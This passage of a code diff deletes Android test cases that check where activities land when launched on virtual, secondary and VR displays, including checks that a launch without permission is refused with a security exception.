-                    + mInitialDisplayMetrics.overrideHeight);
-        } else {
-            executeShellCommand("wm size reset");
-        }
-        if (mInitialDisplayMetrics.densityOverrideSet) {
-            executeShellCommand(WM_DENSITY + " " + mInitialDisplayMetrics.overrideDensity);
-        } else {
-            executeShellCommand("wm density reset");
-        }
-    }
-
-    /**
-     * Tests that the global configuration is equal to the default display's override configuration.
-     */
-    public void testDefaultDisplayOverrideConfiguration() throws Exception {
-        final ReportedDisplays reportedDisplays = getDisplaysStates();
-        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
-        final DisplayState primaryDisplay = reportedDisplays.getDisplayState(DEFAULT_DISPLAY_ID);
-        assertEquals("Primary display's configuration should not be equal to global configuration.",
-                reportedDisplays.mGlobalConfig, primaryDisplay.mOverrideConfig);
-    }
-
-    /**
-     * Tests that secondary display has override configuration set.
-     */
-    public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Find the density of created display.
-        final int newDensityDpi = newDisplay.getDpi();
-        assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
-    }
-
-    /**
-     * Tests that launch on secondary display is not permitted if device has the feature disabled.
-     * Activities requested to be launched on a secondary display in this case should land on the
-     * default display.
-     */
-    public void testMultiDisplayDisabled() throws Exception {
-        if (supportsMultiDisplay()) {
-            // Only check devices with the feature disabled.
-            return;
-        }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
-
-        // Check that activity is on the right display.
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-        final ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed",
-                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
-        assertEquals("Front stack must be on the default display", DEFAULT_DISPLAY_ID,
-                frontStack.mDisplayId);
-        mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
-    }
-
-    /**
-     * Tests that any new activity launch in Vr mode is in Vr display.
-     */
-    public void testVrActivityLaunch() throws Exception {
-        if (!supportsVrMode() || !supportsMultiDisplay()) {
-            // VR Mode is not supported on this device, bail from this test.
-            return;
-        }
-
-        // Put the device in persistent vr mode.
-        enablePersistentVrMode(true);
-
-        // Launch the VR activity.
-        launchActivity(VR_TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
-        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
-
-        // Launch the non-VR 2D activity and check where it ends up.
-        launchActivity(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Ensure that the subsequent activity is visible
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
-        // Check that activity is launched in focused stack on primary display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
-        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        final ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(focusedStackId);
-        assertEquals("Launched activity must be resumed in focused stack",
-            getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
-
-        // Check if the launch activity is in Vr virtual display id.
-        final ReportedDisplays reportedDisplays = getDisplaysStates();
-        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
-        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_UNIQUE_DISPLAY_ID);
-        assertNotNull("Vr mode should have a virtual display", vrDisplay);
-
-        // Check if the focused activity is on this virtual stack.
-        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
-            focusedStack.mDisplayId);
-
-        // Put the device out of persistent vr mode.
-        enablePersistentVrMode(false);
-    }
-
-    /**
-     * Tests that any activity already present is re-launched in Vr display in vr mode.
-     */
-    public void testVrActivityReLaunch() throws Exception {
-        if (!supportsVrMode() || !supportsMultiDisplay()) {
-            // VR Mode is not supported on this device, bail from this test.
-            return;
-        }
-
-        // Launch a 2D activity.
-        launchActivity(LAUNCHING_ACTIVITY);
-
-        // Put the device in persistent vr mode.
-        enablePersistentVrMode(true);
-
-        // Launch the VR activity.
-        launchActivity(VR_TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
-        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
-
-        // Re-launch the non-VR 2D activity and check where it ends up.
-        launchActivity(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Ensure that the subsequent activity is visible
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
-        // Check that activity is launched in focused stack on primary display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
-        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        final ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(focusedStackId);
-        assertEquals("Launched activity must be resumed in focused stack",
-            getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
-
-        // Check if the launch activity is in Vr virtual display id.
-        final ReportedDisplays reportedDisplays = getDisplaysStates();
-        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
-        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_UNIQUE_DISPLAY_ID);
-        assertNotNull("Vr mode should have a virtual display", vrDisplay);
-
-        // Check if the focused activity is on this virtual stack.
-        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
-            focusedStack.mDisplayId);
-
-        // Put the device out of persistent vr mode.
-        enablePersistentVrMode(false);
-    }
-
-    private int getCurrentDefaultDisplayId() {
-        return mVrHeadset ? mVrVirtualDisplayId : DEFAULT_DISPLAY_ID;
-    }
-
-    /**
-     * Tests that any new activity launch post Vr mode is in the main display.
-     */
-    public void testActivityLaunchPostVr() throws Exception {
-        if (!supportsVrMode() || !supportsMultiDisplay()) {
-            // VR Mode is not supported on this device, bail from this test.
-            return;
-        }
-
-        // Put the device in persistent vr mode.
-        enablePersistentVrMode(true);
-
-        // Launch the VR activity.
-        launchActivity(VR_TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
-        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
-
-        // Launch the non-VR 2D activity and check where it ends up.
-        launchActivity(ALT_LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY});
-
-        // Ensure that the subsequent activity is visible
-        mAmWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
-
-        // Check that activity is launched in focused stack on primary display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", ALT_LAUNCHING_ACTIVITY);
-        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        final ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(focusedStackId);
-        assertEquals("Launched activity must be resumed in focused stack",
-            getActivityComponentName(ALT_LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
-
-        // Check if the launch activity is in Vr virtual display id.
-        final ReportedDisplays reportedDisplays = getDisplaysStates();
-        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
-        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_UNIQUE_DISPLAY_ID);
-        assertNotNull("Vr mode should have a virtual display", vrDisplay);
-
-        // Check if the focused activity is on this virtual stack.
-        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
-            focusedStack.mDisplayId);
-
-        // Put the device out of persistent vr mode.
-        enablePersistentVrMode(false);
-
-        // There isn't a direct launch of activity which can take an user out of persistent VR mode.
-        // This sleep is to account for that delay and let device settle once it comes out of VR
-        // mode.
-        try {
-            Thread.sleep(2000);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-
-        // Launch the non-VR 2D activity and check where it ends up.
-        launchActivity(RESIZEABLE_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME});
-
-        // Ensure that the subsequent activity is visible
-        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-
-        // Check that activity is launched in focused stack on the correct display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused",
-                RESIZEABLE_ACTIVITY_NAME);
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        int displayId = getCurrentDefaultDisplayId();
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
-        final ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(RESIZEABLE_ACTIVITY_NAME), frontStack.mResumedActivity);
-        assertEquals("Front stack must be on the correct display",
-                displayId, frontStack.mDisplayId);
-    }
-
-    public void testCreateMultipleVirtualDisplays() throws Exception {
-        // Create new virtual display.
-        final List<DisplayState> newDisplays = new VirtualDisplayBuilder(this).build(3);
-        destroyVirtualDisplays();
-        getDisplayStateAfterChange(1);
-    }
-
-    /**
-     * Tests launching an activity on virtual display.
-     */
-    @Presubmit
-    public void testLaunchActivityOnSecondaryDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        final String logSeparator = clearLogcat();
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                TEST_ACTIVITY_NAME);
-
-        // Check that activity is on the right display.
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the secondary display and resumed",
-                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
-        // Check that activity config corresponds to display config.
-        final ReportedSizes reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY_NAME,
-                logSeparator);
-        assertEquals("Activity launched on secondary display must have proper configuration",
-                CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
-    }
-
-    /**
-     * Tests launching a non-resizeable activity on virtual display. It should land on the
-     * default display.
-     */
-    public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                NON_RESIZEABLE_ACTIVITY_NAME);
-
-        // Check that activity is on the right display.
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-        final ActivityManagerState.ActivityStack frontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the primary display and resumed",
-                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
-    }
-
-    /**
-     * Tests launching a non-resizeable activity on virtual display while split-screen is active
-     * on the primary display. It should land on the primary display and dismiss docked stack.
-     */
-    public void testLaunchNonResizeableActivityWithSplitScreen() throws Exception {
-        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
-
-        // Start launching activity.
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        // Create new virtual display.
-        final DisplayState newDisplay =
-                new VirtualDisplayBuilder(this).setLaunchInSplitScreen(true).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                NON_RESIZEABLE_ACTIVITY_NAME);
-
-        // Check that activity is on the right display.
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-        final ActivityManagerState.ActivityStack frontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the primary display and resumed",
-                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
-        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    /**
-     * Tests moving a non-resizeable activity to a virtual display. It should land on the default
-     * display.
-     */
-    public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        // Launch a non-resizeable activity on a primary display.
-        launchActivityInNewTask(NON_RESIZEABLE_ACTIVITY_NAME);
-        // Launch a resizeable activity on new secondary display to create a new stack there.
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-
-        // Try to move the non-resizeable activity to new secondary display.
-        moveActivityToStack(NON_RESIZEABLE_ACTIVITY_NAME, frontStackId);
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                NON_RESIZEABLE_ACTIVITY_NAME);
-
-        // Check that activity is on the right display.
-        frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-        final ActivityManagerState.ActivityStack frontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the primary display and resumed",
-                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
-    }
-
-    /**
-     * Tests launching a non-resizeable activity on virtual display from activity there. It should
-     * land on the secondary display based on the resizeability of the root activity of the task.
-     */
-    public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
-                .build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                BROADCAST_RECEIVER_ACTIVITY);
-
-        // Check that launching activity is on the secondary display.
-        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        ActivityManagerState.ActivityStack frontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the secondary display and resumed",
-                getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
-
-        // Launch non-resizeable activity from secondary display.
-        executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
-                + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
-        // Check that non-resizeable activity is on the secondary display, because of the resizeable
-        // root of the task.
-        frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the primary display and resumed",
-                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
-    }
-
-    /**
-     * Tests launching a non-resizeable activity on virtual display from activity there. It should
-     * land on some different suitable display (usually - on the default one).
-     */
-    public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                LAUNCHING_ACTIVITY);
-
-        // Check that launching activity is on the secondary display.
-        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        ActivityManagerState.ActivityStack frontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be on the secondary display and resumed",
-                getActivityComponentName(LAUNCHING_ACTIVITY),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
-
-        // Launch non-resizeable activity from secondary display.
-        getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME)
-                .setNewTask(true).setMultipleTask(true).execute();
-
-        // Check that non-resizeable activity is on the primary display.
-        frontStackId = mAmWmState.getAmState().getFocusedStackId();
-        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
-        assertFalse("Launched activity must be on a different display",
-                newDisplay.mDisplayId == frontStack.mDisplayId);
-        assertEquals("Launched activity must be resumed",
-                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on a just launched activity", frontStackId);
-    }
-
-    /**
-     * Tests launching an activity on a virtual display without special permission must not be
-     * allowed.
-     */
-    public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        final String logSeparator = clearLogcat();
-
-        // Try to launch an activity and check it security exception was triggered.
-        final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
-                + " -p " + SECOND_PACKAGE_NAME;
-        final String includeStoppedPackagesFlag = " -f 0x00000020";
-        executeShellCommand("am broadcast " + broadcastTarget
-                + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
-                + " --es package_name " + componentName
-                + " --ei display_id " + newDisplay.mDisplayId
-                + includeStoppedPackagesFlag);
-
-        assertSecurityException("LaunchBroadcastReceiver", logSeparator);
-
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        assertFalse("Restricted activity must not be launched",
-                mAmWmState.getAmState().containsActivity(TEST_ACTIVITY_NAME));
-    }
-
-    /**
-     * Tests launching an activity on a virtual display without special permission must be allowed
-     * for activities with same UID.
-     */
-    public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Try to launch an activity and check it security exception was triggered.
-        final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
-                + " -p " + componentName;
-        executeShellCommand("am broadcast " + broadcastTarget
-                + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
-                + " --es package_name " + componentName
-                + " --ei display_id " + newDisplay.mDisplayId);
-
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
-
-        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
-                .getStackById(externalFocusedStackId);
-        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
-                focusedStack.mDisplayId);
-
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
-        assertEquals("Activity launched by owner must be on external display",
-                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
-    }
-
-    /**
-     * Tests launching an activity on virtual display and then launching another activity via shell
-     * command and without specifying the display id - the second activity must appear on the
-     * primary display.
-     */
-    @Presubmit
-    public void testConsequentLaunchActivity() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                TEST_ACTIVITY_NAME);
-
-        // Launch second activity without specifying display.
-        launchActivity(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Check that activity is launched in focused stack on the correct display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
-
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        int displayId = getCurrentDefaultDisplayId();
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
-        final ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
-        assertEquals("Front stack must be on the correct display",
-                displayId, frontStack.mDisplayId);
-    }
-
-    /**
-     * Tests launching an activity on simulated display and then launching another activity from the
-     * first one - it must appear on the secondary display, because it was launched from there.
-     */
-    @Presubmit
-    public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
-                .build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
-                LAUNCHING_ACTIVITY);
-
-        // Launch second activity from app on secondary display without specifying display id.
-        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        // Check that activity is launched in focused stack on external display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
-    }
-
-    /**
-     * Tests launching an activity on virtual display and then launching another activity from the
-     * first one - it must appear on the secondary display, because it was launched from there.
-     */
-    public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
-                LAUNCHING_ACTIVITY);
-
-        // Launch second activity from app on secondary display without specifying display id.
-        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        // Check that activity is launched in focused stack on external display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
-    }
-
-    /**
-     * Tests launching an activity on virtual display and then launching another activity from the
-     * first one with specifying the target display - it must appear on the secondary display.
-     */
-    public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
-                LAUNCHING_ACTIVITY);
-
-        // Launch second activity from app on secondary display specifying same display id.
-        getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
-                .setTargetPackage(SECOND_PACKAGE_NAME)
-                .setDisplayId(newDisplay.mDisplayId).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        // Check that activity is launched in focused stack on external display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
-                SECOND_ACTIVITY_NAME);
-        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        ActivityManagerState.ActivityStack frontStack
-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-
-        // Launch other activity with different uid and check if it has launched successfully.
-        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
-        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
-                + " --ei display_id " + newDisplay.mDisplayId
-                + " --es target_activity " + THIRD_ACTIVITY_NAME
-                + " --es package_name " + THIRD_PACKAGE_NAME);
-        mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
-
-        // Check that activity is launched in focused stack on external display.
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
-                THIRD_ACTIVITY_NAME);
-        frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
-                frontStack.mResumedActivity);
-    }
-
-    /**
-     * Tests launching an activity on virtual display and then launching another activity that
-     * doesn't allow embedding - it should fail with security exception.
-     */
-    public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
-                LAUNCHING_ACTIVITY);
-
-        final String logSeparator = clearLogcat();
-
-        // Launch second activity from app on secondary display specifying same display id.
-        getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
-                .setTargetPackage(SECOND_PACKAGE_NAME)
-                .setDisplayId(newDisplay.mDisplayId).execute();
-
-        assertSecurityException("ActivityLauncher", logSeparator);
-    }
-
-    /**
-     * Tests launching an activity to secondary display from activity on primary display.
-     */
-    public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Start launching activity.
-        launchActivity(LAUNCHING_ACTIVITY);
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
-                .build();
-
-        // Launch activity on secondary display from the app on primary display.
-        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
-                .setDisplayId(newDisplay.mDisplayId).execute();
-
-        // Check that activity is launched on external display.
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                TEST_ACTIVITY_NAME);
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final ActivityManagerState.ActivityStack frontStack
